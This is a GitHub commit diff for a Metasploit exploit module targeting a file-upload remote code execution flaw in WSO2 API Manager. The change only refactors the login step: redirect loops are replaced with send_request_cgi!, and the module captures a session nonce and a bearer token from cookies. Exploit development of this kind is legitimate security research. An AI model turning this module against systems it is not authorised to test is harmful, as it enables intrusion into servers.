Skip to content

Commit 7c9bddc

Browse files
committed
Added use of send_request_cgi!
1 parent 9642612 commit 7c9bddc

File tree

1 file changed

+23
-46
lines changed

1 file changed

+23
-46
lines changed

modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb

Lines changed: 23 additions & 46 deletions
Original file line numberDiff line numberDiff line change
@@ -147,67 +147,44 @@ def check
147147

148148
def authenticate
149149
nounce = nil
150-
res = send_request_cgi(
150+
151+
opts = {
151152
'uri' => normalize_uri(target_uri.path, '/publisher/services/auth/login'),
152153
'method' => 'GET',
154+
'headers' => {
155+
'Connection' => 'keep-alive'
156+
},
153157
'keep_cookies' => true
154-
)
155-
156-
loop_dectector = 0
157-
158-
fail_with(Failure::UnexpectedReply, 'Failed to authenticate') unless res
159-
160-
while res.redirect?
161-
loop_dectector += 1
162-
res = send_request_cgi(
163-
'uri' => "#{res.redirection.path}?#{res.redirection.query}",
164-
'method' => 'GET',
165-
'headers' => {
166-
'Connection' => 'keep-alive'
167-
},
168-
'keep_cookies' => true
169-
)
170-
171-
if res&.get_cookies && res.get_cookies.match(/sessionNonceCookie-(.*)=/)
172-
vprint_status('Got session nonce')
173-
nounce = ::Regexp.last_match(1)
174-
end
175-
break if nounce
176-
177-
fail_with(Failure::UnexpectedReply, 'Loop detected') if loop_dectector > 3
158+
}
159+
res = send_request_cgi!(opts, 20, 1) # timeout and redirect_depth
178160

161+
if res&.get_cookies && res.get_cookies.match(/sessionNonceCookie-(.*)=/)
162+
vprint_status('Got session nonce')
163+
nounce = ::Regexp.last_match(1)
179164
end
180165

166+
fail_with(Failure::UnexpectedReply, 'Failed to authenticate') unless nounce
167+
181168
auth_data = {
182169
'usernameUserInput' => datastore['HttpUsername'],
183170
'username' => datastore['HttpUsername'],
184171
'password' => datastore['HttpPassword'],
185172
'sessionDataKey' => nounce
186173
}
187174

188-
res = send_request_cgi(
189-
'uri' => normalize_uri(target_uri.path, '/commonauth'),
190-
'method' => 'POST',
191-
'vars_post' => auth_data
192-
)
175+
opts = { 'uri' => normalize_uri(target_uri.path, '/commonauth'),
176+
'method' => 'POST',
177+
'headers' => {
178+
'Connection' => 'keep-alive'
179+
},
180+
'keep_cookies' => true,
181+
'vars_post' => auth_data
182+
}
193183

194-
loop_dectector = 0
195-
while res.redirect?
196-
loop_dectector += 1
197-
res = send_request_cgi(
198-
'uri' => "#{res.redirection.path}?#{res.redirection.query}",
199-
'method' => 'GET',
200-
'headers' => {
201-
'Connection' => 'keep-alive'
202-
},
203-
'keep_cookies' => true
204-
)
205-
if res&.get_cookies && res.get_cookies.match(/:?WSO2_AM_TOKEN_1_Default=([\w|-]+);\s/)
206-
self.bearer = ::Regexp.last_match(1)
207-
end
208-
break if bearer
184+
res = send_request_cgi!(opts, 20, 2) # timeout and redirect_depth
209185

210-
fail_with(Failure::UnexpectedReply, 'Loop detected') if loop_dectector > 3
186+
if res&.get_cookies && res.get_cookies.match(/:?WSO2_AM_TOKEN_1_Default=([\w|-]+);\s/)
187+
self.bearer = ::Regexp.last_match(1)
211188
end
212189

213190
fail_with(Failure::UnexpectedReply, 'Authentication attempt failed') unless bearer

0 commit comments

Comments
 (0)